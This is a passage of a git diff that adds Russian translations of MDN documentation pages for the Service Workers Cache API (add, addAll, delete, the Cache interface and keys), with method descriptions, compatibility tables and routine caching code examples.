+   <th scope="col"><strong>Когда происходит</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>TypeError</code></td>
+   <td>
+    <p>Схема URL не <code>http</code> или <code>https</code>.</p>
+
+    <p>Статус ответа не из диапазона 200 (т.е., ответ не успешен). Это случается если запрос не выполняется успешно, а также, если запрос является <em>cross-origin no-cors</em> запросом (в таком случае, статус всегда 0).</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Этот блок кода ожидает старта события {{domxref("InstallEvent")}} , а затем запускает  {{domxref("ExtendableEvent.waitUntil","waitUntil")}} для обработки процесса установки приложения. Этот процесс состоит из вызова  {{domxref("CacheStorage.open")}} для создания нового кеша, и использования {{domxref("Cache.add")}} для добавления ресурсов в этот кеш.</p>
+
+<pre class="brush: js">this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.add('/sw-test/index.html');
+    })
+  );
+});
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комменатрий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#cache', 'Cache')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{Compat("api.Cache.add")}}</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Использование сервис воркеров</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/ru/web/api/cache/addall/index.html b/files/ru/web/api/cache/addall/index.html
new file mode 100644
index 0000000000..b48323c9ee
--- /dev/null
+++ b/files/ru/web/api/cache/addall/index.html
@@ -0,0 +1,206 @@
+---
+title: Cache.addAll()
+slug: Web/API/Cache/addAll
+translation_of: Web/API/Cache/addAll
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод <strong><code>addAll()</code></strong> интерфейса {{domxref("Cache")}} принимает массив URLS в кечестве параметра, получает данные по ним, и добавляет полученные объекты ответов в заданный кеш. Объекты запросов, созданные в ходе получения данных, становятся ключами для хранимых ответов. </p>
+
+<div class="note">
+<p><strong>Замечание</strong>: <code>addAll()</code> перезапишет любые пары ключ/значение ранее записанные в кеш, соответствующие запросу, но выдаст ошибку, если операция <code>put()</code> перезапишет один из кешей, созданный за время выполнения одного и того же метода <code>addAll()</code>.</p>
+</div>
+
+<div class="note">
+<p><strong>Замечание</strong>: Первоначальная реализация Cache (как в Blink, так и в Gecko) разрешает промисы {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, и {{domxref("Cache.put")}} когда тело ответа полностью записано в хранилище. Более поздние версии спецификации говорят, что браузер может разрешить промис как только данные были записаны в базу данных, даже если тело ответа еще формируется.</p>
+</div>
+
+<div class="note">
+<p><strong>Замечание: </strong>Начиная с Chrome 46, Cache API будет хранить запросы только из безопасных источников, то есть, только использующие протокол HTTPS.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">cache.addAll(requests[]).then(function() {
+  //запросы были дабавлены в кеш
+});
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>requests</dt>
+ <dd>Массив объектов {{domxref("Request")}}, которые вы хотите добавить в кеш.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("Promise")}}, которые разрешается с пустым зачением void.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><strong>Исключение</strong></th>
+   <th scope="col"><strong>Когда происходит</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>TypeError</code></td>
+   <td>
+    <p>Схема URL не <code>http</code> или <code>https</code>.</p>
+
+    <p>Статус ответа не из диапазона 200 (т.е., ответ не успешен). Это случается если запрос не выполняется успешно, а также, если запрос является <em>cross-origin no-cors</em> запросом (в таком случае, статус всегда 0).</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры"><strong style="font-size: 2.14285714285714rem; font-weight: 700; letter-spacing: -1px; line-height: 30px;">Примеры</strong></h2>
+
+<p>Этот блок кода ожидает старта события {{domxref("InstallEvent")}}, а затем запускает {{domxref("ExtendableEvent.waitUntil","waitUntil")}} для обработки процесса установки приложения. Этот процесс состоит из вызова {{domxref("CacheStorage.open")}} для создания нового кеша, и вызова <code>addAll()</code> для добавления набора ресурсов в этот кеш.</p>
+
+<pre class="brush: js">this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+        '/sw-test/star-wars-logo.jpg',
+        '/sw-test/gallery/',
+        '/sw-test/gallery/bountyHunters.jpg',
+        '/sw-test/gallery/myLittleVader.jpg',
+        '/sw-test/gallery/snowTroopers.jpg'
+      ]);
+    })
+  );
+});
+</pre>
+
+<h3 id="Спецификации">Спецификации</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#cache', 'Cache')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(46.0)}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Требует HTTPS</td>
+   <td>{{CompatChrome(46.0)}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>TypeError</code> в случае неуспешного запроса</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(47.0)}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(46.0)}}</td>
+  </tr>
+  <tr>
+   <td>Трубует HTTPS</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(46.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>TypeError</code> в случае неуспешного запроса</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Сервис воркеры (и <a href="https://developer.mozilla.org/en-US/docs/Web/API/Push_API">Push</a>) были отключены в <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Использование сервис воркеров</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/ru/web/api/cache/delete/index.html b/files/ru/web/api/cache/delete/index.html
new file mode 100644
index 0000000000..5efa82b44a
--- /dev/null
+++ b/files/ru/web/api/cache/delete/index.html
@@ -0,0 +1,128 @@
+---
+title: Cache.delete()
+slug: Web/API/Cache/delete
+translation_of: Web/API/Cache/delete
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>Метод <strong><code>delete()</code></strong> интерфейса {{domxref("Cache")}} ищет запись {{domxref("Cache")}}, чей ключ совпадает с запросом, и, в случае находки, удаляет запись {{domxref("Cache")}} и возвращает {{jsxref("Promise")}}, который разрешается со значением <code>true</code>. Если запись не была найдена {{domxref("Cache")}}, метод возвращает <code>false</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">cache.delete(request,{options}).then(function(true) {
+  // запись была удалена
+});
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("Promise")}}, который разрешается со значением true в случае, если запись была удалена, или false в другом случае.</p>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>request</dt>
+ <dd>{{domxref("Request")}}, который вы хотите удалить.</dd>
+ <dt>options {{optional_inline}}</dt>
+ <dd>Объект, чьи свойства контролируют как будет выполняться сопоставление ключей при вызове <code>delete</code>. Допустимые значения:
+ <ul>
+  <li><code>ignoreSearch</code>: Булево значение {{domxref("Boolean")}}, которое определяет будет ли процесс сопоставления игнорировать строку запроса в url.  Если установлено в <code>true</code>, часть <code>?value=bar</code> запроса <code>http://foo.com/?value=bar</code> будет проигнорирована при сопоставлении ключей. По умолчанию установлено в <code>false</code>.</li>
+  <li><code>ignoreMethod</code>: Булево значение {{domxref("Boolean")}}, которое, если равно <code>true</code>, предотвращает проверку {{domxref("Request")}} при сопоставлении ключей на <code>HTTP</code> метод (обычно допускаются только <code>GET</code> и <code>HEAD</code>). По умолчанию установлено в <code>false</code>.</li>
+  <li><code>ignoreVary</code>: Булево значение {{domxref("Boolean")}}, которое, если равно <code>true,</code> указывает операции сопоставления ключей не проводить проверку заголовка <code>VARY</code>.  Другими словами, если URL совпадает, вы получите соответствие, независимо от того, есть ли заголовок <code>VARY </code>на объекте запроса {{domxref("Response")}}. По умолчанию установлено в <code>false</code>.</li>
+  <li><code>cacheName</code>: Строка {{domxref("DOMString")}}, которая представляет собой определенный кеш, в котором вести поиск. Заметьте, что этот параметр игнорируется методом <code>Cache.delete()</code>.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Примеры" style="line-height: 30px; font-size: 2.14285714285714rem;">Примеры</h2>
+
+<pre class="brush: js">caches.open('v1').then(function(cache) {
+  cache.delete('/images/image.png').then(function(response) {
+    someUIUpdateFunction();
+  });
+})</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#cache', 'Cache')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(40.0)}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop(39)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(39)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(40.0)}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Параметр options поддерживает только значения <code>ignoreSearch и</code> <code>cacheName</code>. </p>
+
+<p>[2] Сервис воркеры (и <a href="/en-US/docs/Web/API/Push_API">Push</a>) бы ли отключены в <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Использование сервис воркеров</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/ru/web/api/cache/index.html b/files/ru/web/api/cache/index.html
new file mode 100644
index 0000000000..82923d3fba
--- /dev/null
+++ b/files/ru/web/api/cache/index.html
@@ -0,0 +1,278 @@
+---
+title: Сache
+slug: Web/API/Cache
+translation_of: Web/API/Cache
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>Интерфейс <strong><code>Cache</code></strong> представляет собой механизм хранения пары объектов <code><a href="http://fetch.spec.whatwg.org/#request">Request</a></code> / <code><a href="http://fetch.spec.whatwg.org/#response">Response</a>,</code> которые кешируются, например, как часть жизненного цикла {{domxref("ServiceWorker")}}. Заметьте, что интерфейс Cache доступен как в области видимости окна, так и в области видимости воркеров. Не обязательно использовать его вместе с сервис воркерами, даже если интерфейс определен в их спецификации.</p>
+
+<p>Для вызывающего скрипта может быть множество именованных объектов <code>Cache</code>. Разработчик сам определяет реализацию того, как скрипт (например, в  {{domxref("ServiceWorker")}}) управляет обновлением <code>Cache</code>. Записи в <code>Cache</code> не будут обновлены, пока не будет выполнен явный запрос; их время жизни не истечет до момента удаления. Используйте {{domxref("CacheStorage.open", "CacheStorage.open(cacheName)")}}, чтобы открыть определенный именованный объект <code>Cache </code>и затем вызывайте любые методы<code> Cache </code>для управления его состоянием.</p>
+
+<p>Вы также ответственны за периодическую очистку записей кеша. Каждый браузер имеет жесткие ограничения на объем хранилища кеша, доступный для исходного кода. Браузер делает все, чтобы как можно лучше использовать дисковое пространство, но он может удалить хранилище кеша для скрипта. В основном, браузер либо удаляет все данные из кеша для скрипта, либо не удалает ничего. Устанавливайте версии кеша в имени и используйте кеш только той версии, которая безопасна для использования. Смотрите <a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers#Deleting_old_caches">Удаление старого кеша</a>.</p>
+
+<div class="note">
+<p><strong>Замечание</strong>: {{domxref("Cache.put")}}, {{domxref("Cache.add")}} и {{domxref("Cache.addAll")}} допускают сохранение в кеш только <code>GET</code> запросов.</p>
+</div>
+
+<div class="note">
+<p><strong>Замечание</strong>: Изначально, реализация Cache (как в Blink, так и в Gecko) возвращала успешное завершение для промисов {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}} и {{domxref("Cache.put")}}, когда тело ответа было полностью помещено в хранилище. Более поздние версии используют новейший язык, утверждая, что браузер может разрешить промис как только запись будет записана в базу данных, даже если тело ответа все еще загружается в потоке.</p>
+</div>
+
+<div class="note">
+<p><strong>Замечание:</strong> Начиная с Chrome 46, Cache API будут хранить запросы только от безопасных источников, то есть, доступных через HTTPS.</p>
+</div>
+
+<div class="note">
+<p><strong>Замечание</strong>: Алгоритм сопоставления ключей зависит от заголовка <a href="https://www.fastly.com/blog/best-practices-for-using-the-vary-header">VARY</a> хранимого значения. Таким образом, сопоставление нового ключа требует одновременно как проверки самого ключа, так и значений для записей в Cache.</p>
+</div>
+
+<div class="note">
+<p><strong>Замечание:</strong> Кеширующие API не приветствуют заголовки кеширования HTTP.</p>
+</div>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("Cache.match", "Cache.match(request, options)")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}}, который успешно завершается с нахождением первого совпадения для данного запроса в объекте {{domxref("Cache")}}.</dd>
+ <dt>{{domxref("Cache.matchAll", "Cache.matchAll(request, options)")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}}, который успешно завершается и возврщает массив всех найденных совпадений для данного запроса в объекте  {{domxref("Cache")}}.</dd>
+ <dt>{{domxref("Cache.add", "Cache.add(request)")}}</dt>
+ <dd>Принимает в качестве параметра URL, получает данные по нему и добавляет полученный объект ответа в заданный кеш. Функциональный эквивалент  вызову fetch() с последующим вызовом Cache.put() для добавления результата в кеш.</dd>
+ <dt>{{domxref("Cache.addAll", "Cache.addAll(requests)")}}</dt>
+ <dd>Принимает массив URL в качестве параметра, получает данные по ним, добавляет полученные объекты ответов в заданный кеш.</dd>
+ <dt>{{domxref("Cache.put", "Cache.put(request, response)")}}</dt>
+ <dd>Принимает запрос и ответ на него и добавляет их в заданный кеш.</dd>
+ <dt>{{domxref("Cache.delete", "Cache.delete(request, options)")}}</dt>
+ <dd>Находит запись {{domxref("Cache")}}, чей ключ является запросом, и, в случае находждения, удаляет запись {{domxref("Cache")}}  и возвращает {{jsxref("Promise")}}, успешно завершающийся со значением <code>true</code>. Если же запись  {{domxref("Cache")}} не найдена, возвращается <code>false</code>.</dd>
+ <dt>{{domxref("Cache.keys", "Cache.keys(request, options)")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}}, который отдает массив ключей {{domxref("Cache")}}.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Этот пример кода из <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/selective-caching/service-worker.js">примера выборочного кеширования сервис воркера</a>. (смотрите <a href="https://googlechrome.github.io/samples/service-worker/selective-caching/">работа выборочного кеширования</a>). В коде используется {{domxref("CacheStorage.open", "CacheStorage.open(cacheName)")}} для открытия любых объектов {{domxref("Cache")}} с заголовком Content-Type, начинающимся с <code>font/</code>.</p>
+
+<p>Далее используется {{domxref("Cache.match", "Cache.match(request, options)")}} для определения того, находится ли уже совпадающий шрифт в кеше, и, если так, то возвращает его. Если же совпадающего шрифта нет, код получает этот шрифт по сети и использует {{domxref("Cache.put","Cache.put(request, response)")}} для кеширования полученного ресурса.</p>
+
+<p>Код обрабатывает исключения, возможные при операции {{domxref("Globalfetch.fetch","fetch()")}}. Заметьте, что HTTP-ответ с ошибкой  (например, 404) не будет вызывать исключения. Будет возвращен нормальный объект ответа с установленным соответствующим кодом ошибки.</p>
+
+<p>Также, пример описывает лучшие практики по заданию версий кеша при работе с сервис воркерами. И хотя в примере лишь один кеш, тот же подход может быть использован для множества кешей. Он сравнивает сокращенный идентификатор кеша с определенным, версионным именем кеша. Код также удаляет весь кеш, для которого не определено имя <code>CURRENT_CACHES</code>.</p>
+
+<p>В примере кода "кеш" это аттрибут WorkerGlobalScope сервис воркеров. Он содержит объект CacheStorage, через который можно получить доступ к <a href="https://developer.mozilla.org/en-US/docs/Web/API/CacheStorage">CacheStorage</a>  API.</p>
+
+<div class="note"><strong>Замечание:</strong> В Chrome, откройте chrome://inspect/#service-workers и кликните по ссылке "inspect" под зарегистрированным сервис воркером чтобы увидеть записи журнала по различным действиям выполняемым скриптом <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/selective-caching/service-worker.js">service-worker.js</a>.</div>
+
+<pre class="brush: js">var CACHE_VERSION = 1;
+
+// Сокращенный идентификатор привязанный к определенной версии кеша.
+var CURRENT_CACHES = {
+  font: 'font-cache-v' + CACHE_VERSION
+};
+
+self.addEventListener('activate', function(event) {
+  var expectedCacheNames = Object.keys(CURRENT_CACHES).map(function(key) {
+    return CURRENT_CACHES[key];
+  });
+
+  // Автивный воркер не будет рассматриваться как активированный, пока promise не разрешится успешно.
+  event.waitUntil(
+    caches.keys().then(function(cacheNames) {
+      return Promise.all(
+        cacheNames.map(function(cacheName) {
+          if (expectedCacheNames.indexOf(cacheName) == -1) {
+            console.log('Deleting out of date cache:', cacheName);
+
+            return caches.delete(cacheName);
+          }
+        })
+      );
+    })
+  );
+});
+
+self.addEventListener('fetch', function(event) {
+  console.log('Handling fetch event for', event.request.url);
+
+  event.respondWith(
+
+    // Открывает объекты Cache, начинающиеся с 'font'.
+    caches.open(CURRENT_CACHES['font']).then(function(cache) {
+      return cache.match(event.request).then(function(response) {
+        if (response) {
+          console.log('Found response in cache:', response);
+
+          return response;
+        }
+      }).catch(function(error) {
+
+        // Обрабатывает исключения от match() или fetch().
+        console.error('Error in fetch handler:', error);
+
+        throw error;
+      });
+    })
+  );
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#cache', 'Cache')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatGeckoDesktop(39)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>add()</td>
+   <td>{{CompatChrome(44.0)}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>addAll()</td>
+   <td>{{CompatChrome(46.0)}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>matchAll()</td>
+   <td>{{CompatChrome(47.0)}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Требует HTTPS для <code>add()</code>, <code>addAll()</code>, и <code>put()</code></td>
+   <td>{{CompatChrome(46.0)}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(39)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+  </tr>
+  <tr>
+   <td>add()</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(44.0)}}</td>
+  </tr>
+  <tr>
+   <td>addAll()</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(46.0)}}</td>
+  </tr>
+  <tr>
+   <td>matchAll()</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(46.0)}}</td>
+  </tr>
+  <tr>
+   <td>Требует HTTPS для <code>add()</code>, <code>addAll()</code>, и <code>put()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(46.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Сервис воркеры (и <a href="/en-US/docs/Web/API/Push_API">Push</a>) были отключены в <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Использование Сервис Воркеров</a></li>
+ <li><a class="external external-icon" href="https://github.com/mdn/sw-test">Базовый пример кода для Сервис воркеров</a></li>
+ <li><a class="external external-icon" href="https://jakearchibald.github.io/isserviceworkerready/">Готов ли Сервис Воркер?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Performance/Using_web_workers">Использование web воркеров</a></li>
+</ul>
diff --git a/files/ru/web/api/cache/keys/index.html b/files/ru/web/api/cache/keys/index.html
new file mode 100644
index 0000000000..0ae385d424
--- /dev/null
+++ b/files/ru/web/api/cache/keys/index.html
@@ -0,0 +1,136 @@
+---
+title: Cache.keys()
+slug: Web/API/Cache/keys
+translation_of: Web/API/Cache/keys
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>Метод <strong><code>keys()</code></strong> интерфейса {{domxref("Cache")}} возвращает {{jsxref("Promise")}}, который разрешается в массив ключей {{domxref("Cache")}}.</p>
+
+<p>Запросы возвращаются в том же порядке, в котором были добавлены.</p>
+
+<div class="note">
+<p><strong>Замечание</strong>: Запросы с дублирующимися URL, но с разными заголовками, могут быть возвращены, если в ответах на них установлен заголовок <code>VARY</code>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">cache.keys(request,{options}).then(function(keys) {
+  // сделать что-нибудь с вашим массивом запросов
+});
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("Promise")}}, который разрешается в массив ключей {{domxref("Cache")}}.</p>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>request {{optional_inline}}</dt>
+ <dd>{{domxref("Request")}} который будет возвращен, если найден указанный ключ.</dd>
+ <dt>options {{optional_inline}}</dt>
+ <dd>Объект, чьи свойства контролируют то, как выполняется сопоставление ключей для операции <code>keys</code>. Допустимые параметры:
+ <ul>
